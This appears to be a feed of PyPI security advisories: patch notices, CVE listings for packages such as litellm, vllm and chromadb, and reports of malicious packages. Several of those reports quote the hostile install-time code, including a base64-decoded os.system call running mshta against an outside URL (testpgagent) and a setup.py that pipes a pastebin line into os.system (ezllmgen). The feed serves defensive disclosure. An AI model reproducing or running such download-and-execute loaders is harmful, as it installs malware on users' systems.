ROOT-APP-PYPI-CVE-2020-26137 CVE-2020-26137 in rootio-urllib3 - Patched by Root

Root has patched CVE-2020-26137 in the rootio-urllib3 package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2018-25091 CVE-2018-25091 in rootio-urllib3 - Patched by Root

Root has patched CVE-2018-25091 in the rootio-urllib3 package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2018-18074 CVE-2018-18074 in rootio-requests - Patched by Root

Root has patched CVE-2018-18074 in the rootio-requests package for Root:PyPI. Multiple fixed versions available...

01os (>=0.0.5, <=0.0.13), 0din-litellm-shield (>=0.2.0, <=0.3.0) +3728 more potentially affected by CVE-2026-12796 via litellm (>=0.1.400, <=1.101.0rc1)

litellm PYPI version =0.1.400, =0.0.5, =0.2.0, =0.1.0, =0.1.0, =0.3.0, =0.0.13, =0.0.13, =0.1.3, =0.0.4, =0.1.0, =0.3.5, =0.1.1.dev1, =0.2.2, =0.2.1, =0.2.0, =0.6.1 and more Source cves: CVE-2026-12796 Source advisory: SNYK:PYTHON-LITELLM-17393719...

01os (>=0.0.5, <=0.0.13), 0din-litellm-shield (>=0.2.0, <=0.3.0) +3728 more potentially affected by CVE-2026-12795 via litellm (>=0.1.400, <=1.101.0rc1)

litellm PYPI version =0.1.400, =0.0.5, =0.2.0, =0.1.0, =0.1.0, =0.3.0, =0.0.13, =0.0.13, =0.1.3, =0.0.4, =0.1.0, =0.3.5, =0.1.1.dev1, =0.2.2, =0.2.1, =0.2.0, =0.6.1 and more Source cves: CVE-2026-12795 Source advisory: SNYK:PYTHON-LITELLM-17393717...

ROOT-APP-PYPI-CVE-2026-23949 CVE-2026-23949 in rootio-jaraco.context - Patched by Root

Root has patched CVE-2026-23949 in the rootio-jaraco.context package for Root:PyPI. Multiple fixed versions available...

aana (>=0.2.1, <=0.2.2.2), acai-swarm (0.1.0) +209 more potentially affected by CVE-2026-54233 via vllm (>=0.1.3, <=0.28.0)

vllm PYPI version =0.1.3, =0.2.1, =1.2.1, =0.0.0, =2.3.5.dev0, =0.0.1b1, =0.2.2, =0.2.4, =1.0.0, =0.2.0, =0.3.0 and more Source cves: CVE-2026-54233 Source advisory: SNYK:PYTHON-VLLM-17372794...

aana (>=0.2.1, <=0.2.2.2), acai-swarm (0.1.0) +209 more potentially affected by CVE-2026-54235 via vllm (>=0.1.3, <=0.28.0)

vllm PYPI version =0.1.3, =0.2.1, =1.2.1, =0.0.0, =2.3.5.dev0, =0.0.1b1, =0.2.2, =0.2.4, =1.0.0, =0.2.0, =0.3.0 and more Source cves: CVE-2026-54235 Source advisory: SNYK:PYTHON-VLLM-17372795...

ROOT-APP-PYPI-CVE-2023-43810 CVE-2023-43810 in rootio-opentelemetry-instrumentation - Patched by Root

Root has patched CVE-2023-43810 in the rootio-opentelemetry-instrumentation package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2026-27459 CVE-2026-27459 in pyOpenSSL - Patched by Root

Root has patched CVE-2026-27459 in the pyOpenSSL package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2025-8869 CVE-2025-8869 in rootio-pip - Patched by Root

Root has patched CVE-2025-8869 in the rootio-pip package for Root:PyPI. Multiple fixed versions available...

Malicious code in testpgagent (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f On pip install, setup.py line 19 calls execbase64.b64decode... whose decoded body is import os; os.system'cmd /c "mshta http://fixars.top"'. This...

ROOT-APP-PYPI-CVE-2023-37920 CVE-2023-37920 in rootio-certifi - Patched by Root

Root has patched CVE-2023-37920 in the rootio-certifi package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2022-23491 CVE-2022-23491 in rootio-certifi - Patched by Root

Root has patched CVE-2022-23491 in the rootio-certifi package for Root:PyPI. Multiple fixed versions available...

Malicious code in ezllmgen (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d9ad551d9ee9ad2f3c29daab0377c3e52289324e938e28a3b58d71c60e8e15e8 setup.py downloads the first line of https://pastebin.com/raw/yBcUM1QB via urllib and passes it directly to os.systemf'cmd /c "cmdpastebin"' during...

01os (>=0.0.5, <=0.0.13), 1claw-crewai-tools (>=0.1.0, <=0.3.4) +2097 more potentially affected by CVE-2026-45831 via chromadb (>=0.3.4, <=1.5.9)

chromadb PYPI version =0.3.4, =0.0.5, =0.1.0, =0.1.3, =0.1.0, =0.1.0, =1.0.0, =0.1.0, =0.2.0, =0.6.4, =0.1.1, =0.0.4.dev0, =0.0.4 - adaline-crewai 0.1.0 and more Source cves: CVE-2026-45831 Source advisory: SNYK:PYTHON-CHROMADB-17337045...

airalogy-engine (>=0.0.2, <=0.0.9), boxlite-mcp (>=0.1.2, <=0.3.0) +4 more potentially affected by CVE-2026-47213 via boxlite (>=0.8.2, <=0.10.0)

boxlite PYPI version =0.8.2, =0.0.2, =0.1.2, =0.1.0, =0.3.1 - iflow-mcp-boxlite-ai-boxlite-mcp 0.2.5 - soothe-daemon 1.0.5 Source cves: CVE-2026-47213 Source advisory: SNYK:PYTHON-BOXLITE-17295770...

MAL-2026-5532 Malicious code in icinga (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fbedb312e9cfe0f5cc7783487adc963f142ebcaefa0fb9305a9a535f373b052d PyPI package 'icinga' at version 99.1.0 is a dependency-confusion / typosquat lure against the Icinga monitoring project. It ships no real...

durabletask 1.4.1, 1.4.2, and 1.4.3 contain malicious code distributed via a compromised maintainer account

durabletask versions 1.4.1, 1.4.2, and 1.4.3 were published on 2026-05-19 within a35-minute window through a compromised PyPI maintainer account and contained malicious code.On import, the package fetched a remote payload rope.pyz from anattacker-controlled host and executed it.The payload was a...

MAL-2026-5302 Malicious code in nhmpy (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 34db1950ee9bdf9c75ae9bb2436085bbb443107321d8d7056a0bf3b8fae36978 The package is published as 'nhmpy' on PyPI but its contents are a verbatim copy of NumPy 2.4.6: the same source tree, docstrings, and license files...